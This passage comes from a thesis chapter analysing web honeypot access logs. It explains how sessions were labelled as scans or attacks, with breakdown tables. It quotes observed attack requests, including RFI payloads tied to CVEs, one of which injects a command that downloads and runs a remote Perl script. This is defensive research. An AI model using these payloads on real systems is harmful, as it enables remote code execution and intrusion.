Port Connection Packets Connection Packets 
HTTP (80) 10806 44.10% 133998 52.80% 9025 38.74% 56154 31.75% 
SSH (22) 9154 37.36% 106604 42.01% 8522 36.58% 99057 56.00% 
SMB (445) 3365 13.73% 11199 4.41% 3959 16.99% 18445 10.43% 
Other 1177 4.80% 1966 0.77% 1792 7.69% 3232 1.83% 
Total 24502 100.00% 253767 100.00% 23298 100.00% 176888 100.00% 
Table 3.2: Breakdown of the TCP traffic for the Web2.0 I dataset 
 
WebDBAdmin II Web2.0 II 
Advertised honeypot Unadvertised Honeypot Advertised Honeypot Unadvertised Honeypot 
Port Connection Packets Connection Packets Connection Packets Connection Packets 
HTTP (80) 8275 66.94% 115629 76.09% 472 16.46% 3120 15.83% 31089 79.98% 380797 82.28% 429 5.29% 1956 2.63%
SSH (22) 3295 26.66% 33520 22.06% 1540 53.71% 13434 68.15% 7008 18.03% 78833 17.03% 6164 75.95% 67862 91.29%
MySQL (3306) 12 0.10% 19 0.01% 7 0.24% 21 0.11% 11 0.03% 22 0.00% 56 0.69% 272 0.37%
SMB (445) 2 0.02% 6 0.00% 2 0.07% 8 0.04% 2 0.01% 7 0.00% 2 0.02% 7 0.01%
Other 777 6.29% 2789 1.84% 846 29.51% 3130 15.88% 762 1.96% 3122 0.67% 1465 18.05% 4237 5.70%
Total 12361 100.00% 151963 100.00% 2867 100.00% 19713 100.00% 38872 100.00% 462781 100.00% 8116 100.00% 74334 100.00%










In this chapter we discuss how the collected raw data was processed. First we present in 
detail how relevant information was extracted from the Web server’s access logs, how each 
HTTP session was labeled, and the specific datasets were created. Then we continue with the 
process of information extraction, concentrating on the decisions and the specific features we 
include in our dataset. At the end of this chapter we present descriptive statistics of the datasets. 
 
4.1 Data Pre-processing 
 
In this work we focus on analyzing HTTP traffic, based on processing the raw Web 
server access log collected from the honeypots. 
Web server access log is a log file that maintains a history of requests from a Web server. 
Request is an entry, represented as a single line, in the Web server access log. HTTP session is a 
sequence of requests from the same source IP address with a maximum time of 30 minutes 
between any two requests [51]. 
In our honeypots we used two different Web servers, Apache Web Server and Microsoft 
IIS. Because our first Web server was Apache, the appropriate logging format capable of 
collecting all possible information in one place from Apache Web server was the NCSA 
 
 Risto Pantev Chapter 4. Data Analysis 
 
25
extended log format [32]. Later we used IIS, which does not support the NCSA extended log 
format per se, and in order to preserve the coherence of the collected data before further 
processing a tool was developed in [7], which converts the IIS logs to the NCSA extended log 
format. 
After we had the raw Web server access logs in a common format we used a tool 
developed in our previous work [51], [47], [49] to extract the HTTP sessions. The output of this 
tool is a comma separated value file which was then used for further processing. We used the 
HTTP sessions CSV file first to label each HTTP session (presented in section 4.2 Data 
Labeling), and then to extract certain HTTP traffic characteristics (presented in section 4.3 
Feature Extraction). 
The breakdown of malicious HTTP traffic for each dataset is presented in Table 4.1, 
Table 4.2, Table 4.3, for the WebDBAdmin I, Web2.0 I, WebDBAdmin II, and Web2.0 II 
datasets respectively. For the sake of comparison in the same tables we present the results of the 
observation for both advertised and unadvertised honeypots, collected during the same time 
period. From Table 4.1 it can be seen that WebDBAdmin I dataset contains 214 sessions, 185 
(86.45%) of which were labeled as vulnerability scans and 29 (13.55%) were labeled as attacks. 
From Table 4.2 it can be seen that Web 2.0 I dataset contains 1117 sessions, 824 (73.77%) of 
which were labeled as vulnerability scans and 293, (26.23%) were labeled as attacks. From Table 
4.3 it can be seen that WebDBAdmin II dataset contains 549 sessions, 513 (93.44%) of which 
were labeled as vulnerability scans and only 39 (6.56%) were labeled as attacks. From Table 4.3 
can be seen that Web 2.0 II dataset contains 4785 sessions, 2059 (43.03%) of which were labeled 
as vulnerability scans and 2726 (56.97%) were labeled as attacks. The results of the observations 
from WebDBAdmin II and Web2.0 II dataset are presented in Table 4.3 for the sake of 
comparison since they are collected during same time period. 
From Figure 4.1 can be seen that: (1) all datasets have more attack requests than 
vulnerability scans except for WebDBAdmin II dataset, (2) WebDBAdmin I and Web 2.0 I 
dataset, even though they have more attack requests than vulnerability scan requests, the number 
of vulnerability scan sessions are dominating because few attack sessions contain many numbers 
of requests (3) Web 2.0 II has the most sessions compared to the other datasets, (4) there are 
more sessions labeled as vulnerability scans than attacks in all datasets, except for Web 2.0 II 
dataset. 
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Figure 4.1: Vulnerability scan and Attack compared across all datasets 
 
4.2 Data Labeling 
 
Labeling of each extracted session from the Web server access logs is crucial for our 
current and previous work [7], [48], [50] and involved several members of our research team. 
Although there are many existing commercial and open source tools for analysis of Web server 
logs, they do not provide the level of detail that we needed to generate datasets suitable for our 
analysis. To overcome the limitations of the existing tools for analysis of the Web server logs, 
we devised a semi-automated strategy to tackle this problem. 
Since our work is solely based on analysis of malicious traffic, we began with identifying 
and removing non-malicious entries in the Web access server logs. The honeypots by definition, 
as explained in Chapter 3, attract only malicious traffic. The Web server access logs on the 
advertised honeypot contained requests from Web crawlers. The requests from the legitimate 
Web crawlers should be treated as non-malicious traffic and as such they have to be removed 
form our datasets. We identified the legitimate Web crawlers by their IP addresses listed by 
IPlists [41]. 
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Now having a pure malicious traffic data we moved on to labeling each request. First we 
divided the malicious traffic data in two major categories: Vulnerability Scans and Attacks [7], 
[48], [50]. 
Vulnerability scans are requests that cause the Web server to respond with information 
that may reveal vulnerabilities of the Web server and/or Web applications. 
Attacks are requests intended to directly attack some part of our system. 
It is important to mention here that we labeled each HTTP session as Vulnerability scan 
session if all the requests in that sessions were only vulnerability scans. HTTP sessions with at 
least one request labeled as Attack were labeled as Attack sessions. 
For the process of data labeling we imported the CSV files generated in the process of 
Data preprocessing into a MySQL database. We used SQL queries to quickly browse trough the 
data, cross-reference, mix and match patterns, and assign labels. 
In general our semi-automated approach of labeling the malicious traffic consisted of 
identifying unique requests, and then manually searching for patterns and signatures in those 
unique requests. We looked at different fields of the request string, such as the method used, 
values passed to the parameters, agent field, bytes transferred, error code, etc. and then searched 
the publicly available vulnerability databases such as National Vulnerability Database [66], 
Security Focus [82], and Secunia [81] for specific signatures seen in the requests. Once a pattern 
that represents specific activity was identified, we queried the database and labeled the 
corresponding requests. This process was repeated for each recognizable attacker’s activity. 
Besides the CSV files we used a list of files served by our Web servers for each 
application. We used the lists to separate the malicious activity that was intended toward our 
applications and malicious activity from attackers that did random vulnerability scans and/or 
attacks. For the requests toward our applications we looked for patterns that correspond to 
signatures of their know vulnerabilities and types of vulnerability scans that can cause the 
application to respond with sensitive information. The requests that were toward applications 
that we do not host on our honeypots were inspected manually. 
After labeling all requests, we examined each session and based on the labels of the 
requests in that session classified it in one of the classes given in Table 4.1, Table 4.2, and Table 
4.3. 
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In the following two sub-sections we discuss in detail how specific Vulnerability scans 
and Attacks were labeled and give descriptions of the attackers’ activity as ordered in Table 4.1, 
Table 4.2, and Table 4.3. The groups of specific Vulnerability scans and Attacks that are 
presented in Table 4.1, Table 4.2, and Table 4.3. may vary from our previous work presented in 
[7], [48], [50] because the last dataset was not available then, so we did some re-grouping of 
some observation making them uniform across all dataset. 
 
WebDBAdmin I 
Advertised honeypot Unadvertised honeypot   
Sessions Requests Sessions Requests 
Vulnerability Scans: Total 185 86.45% 443 43.95% 30 88.24% 37 69.81% 
Dfind 17 7.94% 17 1.69% 16 47.06% 16 30.19% 
Other Fingerprinting 14 6.54% 14 1.39% 12 35.29% 12 22.64% 
Static+ (S+) 26 12.15% 31 3.08% 1 2.94% 1 1.89% 
Blog 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Wiki 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Blog & Wiki (B&W) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Static+ & Blog (S+&B) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Static+ & Wiki (S+&W) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Static+ & Blog & Wiki (S+&B&W) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
phpMyAdmin 77 35.98% 71 7.04% 1 2.94% 8 15.09% 
Static+ & phpMyAdmin 51 23.83% 310 30.75% 0 0.00% 0 0.00% 
Attacks: Total 29 13.55% 565 56.05% 4 11.76% 16 30.19% 
DoS 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Password cracking user accounts:                 
phpMyAdmin (PassP) 18 8.41% 260 25.79% 0 0.00% 0 0.00% 
Blog (PassB) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Wiki (PassW) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
E-mail harvesting 5 2.34% 245 24.31% 0 0.00% 0 0.00% 
Spam on the Blog (SpamB) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Spam on the Wiki (SpamW) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
RFI 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
SQL injection 1 0.47% 12 1.19% 1 2.94% 12 22.64% 
XSS 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Other Attacks 5 2.34% 48 4.76% 3 8.82% 4 7.55% 
Total 214 100.00% 1008 100.00% 34 100.00% 53 100.00% 
Table 4.1: Breakdown of vulnerability scans and attacks of the HTTP application level traffic for 
WebDBAdmin I Dataset 
 





Web 2.0 I 
Advertised honeypot Unadvertised honeypot   
Sessions Requests Sessions Requests 
Vulnerability Scans: Total 824 73.77% 4349 44.07% 67 87.01% 1361 15.35% 
DFind 24 2.15% 25 0.25% 23 29.87% 24 0.27% 
Other Fingerprinting 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Static+ (S+) 181 16.20% 1522 15.42% 41 53.25% 1243 14.02% 
Blog 107 9.58% 253 2.56% 0 0.00% 0 0.00% 
Wiki 385 34.47% 923 9.35% 0 0.00% 0 0.00% 
Blog & Wiki (B&W) 73 6.54% 406 4.11% 0 0.00% 0 0.00% 
Static+ & Blog (S+&B) 10 0.90% 72 0.73% 0 0.00% 0 0.00% 
Static+ & Wiki (S+&W) 19 1.70% 319 3.23% 2 2.60% 65 0.73% 
Static+ & Blog & Wiki 
(S+&B&W) 
25 2.24% 829 8.40% 1 1.30% 29 0.33% 
phpMyAdmin 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Static+ & phpMyAdmin 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Attacks: Total 293 26.23% 5519 55.93% 10 12.99% 7504 84.65% 
DoS 4 0.36% 3724 37.74% 9 11.69% 7490 84.49% 
Password cracking user accounts:                 
phpMyAdmin (PassP) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Blog (PassB) 9 0.81% 127 1.29% 0 0.00% 0 0.00% 
Wiki (PassW) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
E-mail harvesting 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Spam on the Blog (SpamB) 23 2.06% 82 0.83% 0 0.00% 0 0.00% 
Spam on the Wiki (SpamW) 249 22.29% 1217 12.33% 0 0.00% 0 0.00% 
RFI 4 0.36% 13 0.13% 0 0.00% 0 0.00% 
SQL injection 2 0.18% 34 0.34% 1 1.30% 14 0.16% 
XSS 2 0.18% 322 3.26% 0 0.00% 0 0.00% 
Other Attacks 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Total 1117 100.00% 9868 100.00% 77 100.00% 8865 100.00% 
Table 4.2: Breakdown of vulnerability scans and attacks of the HTTP application level traffic for Dataset 
 Risto Pantev Chapter 4. Data Analysis 
 
30
WebDBAdmin II Web 2.0 II 
Advertised honeypot Unadvertised honeypot Advertised honeypot Unadvertised honeypot   
Sessions Requests Sessions Requests Sessions Requests Sessions Requests 
Vulnerability Scans: Total 513 93.44% 1249 76.44% 34 56.67% 113 41.54% 2059 43.03% 4713 27.20% 38 73.08% 155 52.19% 
DFind 19 3.46% 19 1.16% 20 33.33% 20 7.35% 20 0.42% 20 0.12% 20 38.46% 20 6.73% 
Other Fingerprinting 3 0.55% 36 2.20% 2 3.33% 37 13.60% 2 0.04% 32 0.18% 2 3.85% 21 7.07% 
Static+ (S+) 306 55.74% 503 30.78% 6 10.00% 7 2.57% 327 6.83% 562 3.24% 7 13.46% 9 3.03% 
Blog 0 0.00% 0 0.00% 0 0.00% 0 0.00% 690 14.42% 1024 5.91% 1 1.92% 13 4.38% 
Wiki 0 0.00% 0 0.12% 0 0.00% 0 0.00% 922 19.27% 2224 12.83% 0 0.00% 0 0.00% 
Blog & Wiki (B&W) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 77 1.61% 594 3.43% 0 0.00% 0 0.00% 
Static+ & Blog (S+&B) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 1 0.02% 4 0.02% 0 0.00% 0 0.00% 
Static+ & Wiki (S+&W) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 3 0.06% 11 0.06% 0 0.00% 0 0.00% 
Static+ & Blog & Wiki (S+&B&W) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 3 0.06% 80 0.46% 0 0.00% 0 0.00% 
phpMyAdmin 155 28.23% 372 22.77% 4 6.67% 30 11.03% 11 0.23% 150 0.87% 8 15.38% 92 30.98% 
Static+ & phpMyAdmin 30 5.46% 319 19.52% 2 3.33% 19 6.99% 3 0.06% 12 0.07% 0 0.00% 0 0.00% 
Attacks: Total 36 6.56% 385 23.56% 26 43.33% 159 58.46% 2726 56.97% 12615 72.80% 14 26.92% 142 47.81% 
DoS 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Password cracking user accounts:                                 
phpMyAdmin (PassP) 1 0.18% 50 3.06% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Blog (PassB) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 1 0.02% 12 0.07% 0 0.00% 0 0.00% 
Wiki (PassW) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 71 1.48% 181 1.04% 0 0.00% 0 0.00% 
E-mail harvesting 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
Spam on the Blog (SpamB) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 1411 29.49% 3396 19.60% 0 0.00% 0 0.00% 
Spam on the Wiki (SpamW) 0 0.00% 0 0.00% 0 0.00% 0 0.00% 1055 22.05% 5996 34.60% 0 0.00% 0 0.00% 
RFI 1 0.18% 1 0.06% 0 0.00% 0 0.00% 5 0.10% 7 0.04% 1 1.92% 2 0.67% 
SQL injection 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 
XSS 0 0.00% 0 0.00% 0 0.00% 0 0.00% 11 0.23% 149 0.86% 0 0.00% 0 0.00% 
Other Attacks 34 6.19% 334 20.44% 26 43.33% 159 58.46% 172 3.59% 2874 16.59% 13 25.00% 140 47.14% 
Total 549 100.00% 1634 100.00% 60 100.00% 272 100.00% 4785 100.00% 17328 100.00% 52 100.00% 297 100.00% 
Table 4.3: Breakdown of vulnerability scans and attacks of the HTTP application level traffic for the WebDBAdmin II and Web2.0 II Dataset 
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4.2.1 Labeling Vulnerability Scans 
 
Following are the observed Vulnerability scans. We present details on how they are 
labeled and give descriptions of the attackers’ activity as ordered in Table 4.1, Table 4.2, and 
Table 4.3. 
 DFind (dlink) is a vulnerability scanning tool used to locate exploit that can allow the 
attacker to gain ‘root’ rights on the Web server by looking at the server’s configuration. 
DFind scans are characterized by “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1” 
HTTP request.  Attackers use this tool scanning single or range of IPs with an option to 
scan for single or multiple services on each Server behind that IP. 
The attackers were searching IPs for particular service, which indicates usage of 
an IP-based strategy. From Figure 4.2 - 4.4 can be seen that DFind was observed on the 
advertised and unadvertised honeypots across the four datasets which confirms the 
assumption of the previous statement. 
 Other Fingerprinting is a group of different types of vulnerability scans that we managed 
to indentify. From Figure 4.2, Figure 4.4, and Figure 4.5, and from the Table 4.1, and 
Table 4.3 it can be seen that the vulnerability scans in this group were observed on the 
advertised and unadvertised honeypots on WebDBAdmin I, WebDBAdmin II and 
Web2.0 II. The fact that these vulnerability scans were seen on the advertised and the 
unadvertised honeypots indicates usage of IP-based strategy by the attackers. The only 
exception is the Web2.0 I dataset where no vulnerability scans from this group were 
observed. 
The details of those vulnerability scans in the `Other Fingerprinting’ category are given 
next. 
o Fingerprinting the Web server in general was done by attackers sending ‘GET / 
HTTP/1.0’ or ‘GET / HTTP/1.1’ requests. All of these requests were answered by 
our Web servers with the default information about the type and the version 
currently running. 
o OPTIONS is a HTTP request method that allows clients to determine if a 
particular HTTP method, or particular HTTP request-header, is supported by the 
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server, or specific resource on the server, designated by a URI [38]. In our case 
the OPTIONS method was used with asterisk (“*”) URI which was intended to 
fingerprint the HTTP methods supported by the server. This method is generally 
not implemented by default on any Web server. But when it is, it is an indication 
that some kind of application server is running (like WebDAV). Usually CGI 
scripts are used to handle the OPTIONS requests. These types of requests are 
labeled as vulnerability scans because the attackers were searching for those CGI 
scripts which is fairly common method for breaking into a server. 
o CONNECT is an HTTP request method that converts the requested connection to 
a transparent TCP/IP tunnel. This is usually done to facilitate secure SSL 
communication through unencrypted HTTP proxy. But it can be used for 
tunneling all kinds of TCP/IP traffic through HTTP [38]. In our case the attacker 
tried to establish connection to another server on port 80 through our server with a 
CONNECT request. 
o Toata Scanner (Toata+dragostea+mea+pentru+diavola) is a tool used to locate 
vulnerabilities in Web applications. In our Web server logs, the scanner made 
requests on the page “/roundcube/bin/msgimport”, which belongs to the 
RoundCube Web mail application, or to “moodle/README.TXT”, which 
indicates a scanner searching for an installation of Moodle (open source Web 
application) both of which were not installed on our honeypots [7]. 
o Morfeus Scanner is very similar tool as Toata Scanner identified by its User 
Agent “Morfeus BLEEP Scanner”. Morfeus Scanner is PHP exploiting robot used 
to locate vulnerabilities in applications and the PHP Server. 
o XMLRPC.PHP is a set of remote procedure calls which allows Web-based 
software to make calls over the Internet [98]. XML-RPC is used in many PHP 
based Web applications, including Wordpress. XML-RPC has a number of 
vulnerabilities, but in our case the attackers were searching for specific version of 
XMLRPC.PHP. We assume that this is the case because despite the fact that 
requests for that file on our honeypots responded with the “200” status code (OK) 
the attackers did not attempt any further attacks [7]. 
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o Referrer spam [77] is a type of requests where the attackers “request” their own 
domain as if it was a page located on our Web server. Many Web servers 
publicize their access logs and attackers mainly use this technique to get links 
pointing to the spam sites on those access logs. The main reason why referrer 
spam is labeled as vulnerability scan is because this technique is not strictly used 
by attackers but also very famous commercial sites use Referrer spam to 
encourage visits. 
 Static+ (S+) is a label of requests and sessions where attackers tried to browse or locate 
static content on our honeypots or other unknown or nonexistent content or applications. 
This category includes sessions and requests in which the attackers either accessed our 
main index.html page and from there browsed the rest of the static pages that contained 
pictures and videos, or directly accessed the pictures and video files. This category also 
includes the sessions where the attackers were searching for other unknown or non-
existing content on the honeypots. Such requests returned Internal Error 500 or Not 
Found 404 error codes to the attacker. 
Static+ was observed on the advertised and unadvertised honeypots across the 
four datasets. The attackers used both the IP and search based strategy to locate the Web 
servers. It is interesting to mention that Static+ was the most dominant category in the 
WebDBAdmin II dataset and collectively Static+ and Static+ &phpMyAdmin (see 
bellow) for the WebDBAdmin I dataset which can be seen from Figure 4.2, Figure 4.4, 
Table 4.1, and Table 4.3. 
 Blog and Wiki were used as labels for requests and session where attackers did 
fingerprinting on the Web 2.0 content of our honeypots, specifically the Blog and the 
Wiki directly or through the homepage. Almost all of the scenarios in which the attackers 
did fingerprinting on the Web2.0 components browsed the posted content, tested the 
functionality of the Web2.0 applications by clicking on the links that have certain Blog or 
Wiki like functionality, tried to edit the existing content, looked at the raw data, tried to 
find RSS feeds. The attackers basically were clicking on links in order to determine the 
functionality and the status of the applications. 
Blog and Wiki were only observed on the Web2.0 honeypots. Furthermore the 
Blog and Wiki were dominant types of vulnerability scans in the Web2.0 I and Web2.0 II 
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datasets as it can be seen from Figure 4.3 and Figure 4.5. From the Table 4.1, Table 4.2, 
and Table 4.3 it can be seen that with exception of one session where the attacker 
fingerprinted the Blog on the unadvertised Web2.0 II honeypot, all of the sessions labeled 
as Blog or Wiki were towards the advertised honeypots which indicates the usage of 
search based strategy. 
 phpMyAdmin was used as a label for requests and sessions where attackers fingerprinted 
the phpMyAdmin by sending ‘GET /phpmyadmin/ HTTP/1.1’ requests. These requests 
were usually sent in a bundle form where it can be clearly seen that the attackers tried to 
locate the phpMyAdmin on different locations on our Web servers. Variations of the 
requests include strings like 
“/phpMyAdmin/main.php”, “/admin/phpMyAdmin/main.php”, or 
“/Websql/phpMyAdmin/main.php”. 
If the attackers successfully located our phpMyAdmin application these requests 
were answered by sending back to the attacker the default page in phpMyAdmin 
directory where all the information about the installation and version were clearly noted. 
Most of these sessions were generated from attackers most likely running automated 
scripts because they consisted of requests sent in short bursts, similar to ones mentioned 
previously, almost all resulting in errors because of the many misses in the attempts to 
locating the phpMyAdmin. 
phpMyAdmin was observed only on WebDBAdmin honeypots, on both 
advertised and unadvertised as it can be seen from Table 4.1, and Table 4.3. From Figure 
4.2 can be seen that phpMyAdmin is the single most dominant malicious activity on the 
WebDBAdmin I dataset, and from Figure 4.4 the second most dominant in 
WebDBAdmin II dataset. 
 Blog & Wiki (B&W), Static+ & Blog, Static+ & Wiki (S&W), Static+ & Blog & Wiki 
(S&B&W) are categories dedicated to attackers who did fingerprinting that span across 
multiple system components in one session only on the Web2.0 honeypots. 
From Table 4.2 and Table 4.3, it can be seen that these vulnerability scans ware 
mainly observed on the advertised honeypots. The only exception is the unadvertised 
Web2.0 I honeypot where two sessions were labeled as a Static+ & Wiki and one as 
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Static+ & Blog & Wiki. From the figures Figure 4.3 and Figure 4.5 it can be seen that the 
fingerprinting that span across multiple system components was not dominant. 
 Static+ & phpMyAdmin is a category for vulnerability scans where the attackers in the 
same sessions accessed the static content and fingerprinted the phpMyAdmin application 
on the WebDBAdmin honeypots. This type of vulnerability scanning was observed on 
both advertised and unadvertised WebDBAdmin honeypots. From Figure 4.2 can be seen 
that Static+ & phpMyAdmin is the second most significant malicious activity on the 
WebDBAdmin I dataset. 
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Figure 4.4: Distribution of the malicious 








































Figure 4.5: Distribution of the malicious 
activity for the Web2.0 II dataset 
 
 
 Risto Pantev Chapter 4. Data Analysis 
 
37
4.2.2 Labeling Attacks 
 
Following are the observed Attacks. We present details on how they are labeled and give 
descriptions of the attackers’ activity as ordered in Table 4.1, Table 4.2, and Table 4.3. 
 DoS (Propfind) is a Microsoft IIS WebDAV PROPFIND and SEARCH Method Denial 
of Service Vulnerability. The PROPFIND requests to our honeypots were requests for 
“/ADMIN$”, “/c$”, “/d$”, “/d$”, “/f$”, “/g$”, and “/h$”. Because this is fixed in 
Windows XP SP1 all of the requests resulted in Not Found 404 error message [70], and 
the attack was not successful. 
Denial of Service (DoS) attack was only observed in Web2.0 I dataset. It is 
interesting to mention that the four sessions from Web 2.0 I dataset that are labeled as 
DoS attack have 3724 requests (see Table 4.1). The DoS attack was also observed on the 
unadvertised Web 2.0 I honeypot which means that the attacker used IP-based strategy to 
locate the honeypots. 
 Password cracking phpMyAdmin user accounts (PassP) is label for the requests and 
sessions where the attackers opened the phpMyAdmin page in a browser and tried 
username and password combinations. The majority of the attacks in WebDBAdmin I 
dataset were Password cracking of phpMyAdmin user accounts, but this was not seen in 
WebDBAdmin II. 
 Password Cracking Blog user accounts (PassB) is category in which the attackers tried to 
log in to the administration portion of the Blog application. Only a few attack sessions 
were aimed at password cracking Blog user accounts, specifically one session in 
Web2.0II and nine in Web2.0I dataset. 
 Password Cracking Wiki user accounts (PassW) is category in which the attackers tried 
to log in to the Wiki application. These attacks can be recognized by the use of POST 
HTTP Method (HTTP Methods are described in 4.3Feature Extraction), characterized by 
“action=submitlogin” portion of the request string, such as for example, “POST 
wiki/index.php?title=Special:Userlogin&amp;action=submitlogin&amp;type=login 
HTTP/1.1”. Password cracking Wiki user accounts was only observed on the Web2.0II 
dataset. 
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It is interesting to mention that only the advertised honeypots observed the password 
cracking attacks explained above (see Table 4.1, Table 4.2, and Table 4.3), which indicates that 
the attackers used search-based strategy to locate our honeypots. 
 Spam on Blog (SpamB) and Spam on Wiki (SpamW) are labels for the requests and 
sessions where spam was posted on the Blog and the Wiki. The posted spam was in form 
of Spamdexing [85], [34] where attackers posted topics on the Wiki and comments on 
our Blog posts. These posts contained random text and links toward Web sites with spam 
like content. Web2.0 applications, especially Blogs and Wikis, are extremely susceptible 
to Spamdexing because everyone at any time can post any type of content that does not 
necessarily have to be malicious. Spamdexing and other Web Spam related problems are 
discussed in detail in [8]. 
Posting spam messages dominated among the attack sessions on both Web2.0 
datasets. Specifically the majority of the attacks we observed in Web2.0 I were Spam on 
Wiki and on the Web2.0 II dataset were Spam on Blog. The attackers that posted the 
spam content on the Wiki created their own accounts and did not attempt password 
cracking toward any of the existing Wiki accounts. In Web2.0 II the Spam on Blog, was 
also a dominant attack category, whereas this type of spam was not as frequent in Web2.0 
I dataset. No spam ended on the unadvertised server which indicates the use of search-
based strategy. 
 E-mail Harvesting was done by attacker running automated script that surfs the Internet 
looking for email addresses. Harvesting email addresses from the Internet is the primary 
way spammers build their lists [30]. On our honeypots this was done by attackers that 
tried sequence of requests that involved listing the directory structure, trying to access 
each directory available and list the files looking for e-mail addresses to harvest. We 
identified the harvesters by their IP addresses listed in [84]. E-mail Harvesting was only 
observed only on WebDBAdmin I dataset. 
 Remote File Inclusion (RFI) is a technique often used to attack Internet Websites from a 
remote computer. With malicious intent, it can be combined with the usage of Cross-
Server Attack (XSA) to harm a Web server. RFI attacks allow attackers to run their own 
PHP code on a vulnerable Website where the attacker is allowed to include his own 
(malicious) code in the space provided for PHP programs [78]. With exception of one 
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RFI observed on the unadvertised honeypot for the WebDBAdmin II dataset, which can 
be seen from Table 4.3, the rest were only towards the advertised honeypots. The attack 
exhibited RFI like pattern that is not currently in the nist.gov database [66] reason being 
why it is labeled as RFI. 
Unknown RFI like attacks were also observed in four sessions on Web2.0 I and 
five on Web2.0 II dataset. The following are the RFI attacks that we managed to 
indentify at the NIST database [66]. 
o CVE-2006-4215 is a PHP remote file inclusion vulnerability in index.php in Zen 
Cart 1.3.0.2 and earlier, when register_globals is enabled, allows remote attackers 
to execute arbitrary PHP code via a URL in the autoLoadConfig[999][0][loadFile] 
parameter [17]. This attack was tried at random since we do not serve Zen Cart 
application and over the Blog and the Wiki’s index.php page. The attack requests 
that ended up on the Blog and the Wiki’s index.php page were not successful 
because this vulnerability does not affect our Blog and Wiki applications. 
Example of such attack request is the following: “GET 
/wiki/index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[9
99][0][loadFile]=HTTP://www.*.com/cart/media/index/bo.do??? HTTP/1.1”. 
CVE-2006-4215 was observed in one session in the Web2.0 I dataset. 
o CVE-2006-3771 relates to multiple PHP remote file inclusion vulnerabilities in 
component.php in iManage CMS 4.0.12 and earlier which allow remote attackers 
to execute arbitrary PHP code via a URL in the absolute_path parameter to 
(1) articles.php, (2) contact.php, (3) displaypage.php, (4) faq.php, (5) 
mainbody.php, (6) news.php, (7) registration.php, (8) whosOnline.php, (9) 
components/com_calendar.php, (10) components/com_forum.php, (11) 
components/minibb/index.php, (12) components/minibb/bb_admin.php, (13) 
components/minibb/bb_plugins.php, (14) modules/mod_calendar.php, (15) 
modules/mod_browser_prefs.php, (16) modules/mod_counter.php, (17) 
modules/mod_online.php, (18) modules/mod_stats.php, (19) 
modules/mod_weather.php, (20) themes/bizz.php, (21) themes/default.php, (22) 
themes/simple.php, (23) themes/original.php, (24) themes/portal.php, (25) 
themes/purple.php, and other unspecified files [16]. 
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Although we do not serve the iManage CMS application this attack was 
tried randomly by attackers looking for some of the 25 pages mentioned 
previously in order to inject code via the absolute_path parameter. Some of the 
pages we actually do serve by the Blog and the Wiki application, but the attack 
was not successful because this vulnerability does not affect our Blog and Wiki 
applications. 
Example of such attack request is the following: “GET 
/wiki/index.php?title=Main_Page//component/com_virtuamart?absolute_path=HT
TP://www.*//bbs/include/pokeh.txt?? HTTP/1.1”. CVE-2006-3771 was observed 
in one session in the Web2.0 I dataset. 
The following RFI attacks were tried at random towards non existing pages and 
applications on our honeypots. Each of these attacks was observed in separate singe sessions on 
the Web2.0 I dataset. 
o CVE-2007-4009 is PHP remote file inclusion vulnerability in 
admin/business_inc/saveserver.php in SWSoft Confixx Pro 2.0.12 through 3.3.1 
allows remote attackers to execute arbitrary PHP code via a URL in the thisdir 
parameter [22]. Example of such attack request is the following: “GET 
/admin/business_inc/saveserver.php?thisdir=HTTP://*/cmd.gif?&cmd=cd%20/tm
p;wget%20HTTP://*/d.pl;perl%20d.pl;echo%20YYY;echo| HTTP/1.1”. 
o CVE-2006-5402 is related to multiple PHP remote file inclusion vulnerabilities in 
PHPmybibli 3.0.1 and earlier which allow remote attackers to execute arbitrary 
PHP code via a URL in the (1) class_path, (2) javascript_path, and (3) 
include_path parameters in (a) cart.php; the (4) class_path parameter in (b) 
index.php; the (5) javascript_path parameter in (c) edit.php; the (6) include_path 
parameter in (d) circ.php; unspecified parameters in (e) select.php; and 
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o CVE-2008-2836 is PHP remote file inclusion vulnerability in send_reminders.php 
in WebCalendar 1.0.4 which allows remote attackers to execute arbitrary PHP 
code via a URL in the includedir parameter and a 0 value for the noSet parameter, 





o CVE-2007-6488 is related to Multiple PHP remote file inclusion vulnerabilities in 
Falcon Series One CMS 1.4.3 which allows remote attackers to execute arbitrary 
PHP code via a URL in (1) the dir[classes] parameter to sitemap.xml.php or (2) 





o CVE-2008-3183 is PHP remote file inclusion vulnerability in 
ktmlpro/includes/ktedit/toolbar.php in gapicms 9.0.2 which allows remote 
attackers to execute arbitrary PHP code via a URL in the dirDepth parameter [25]. 
Example of such attack request is the following “GET 
/ktmlpro/includes/ktedit/toolbar.php?dirDepth=HTTP://*/cmd.gif?&cmd=cd%20/
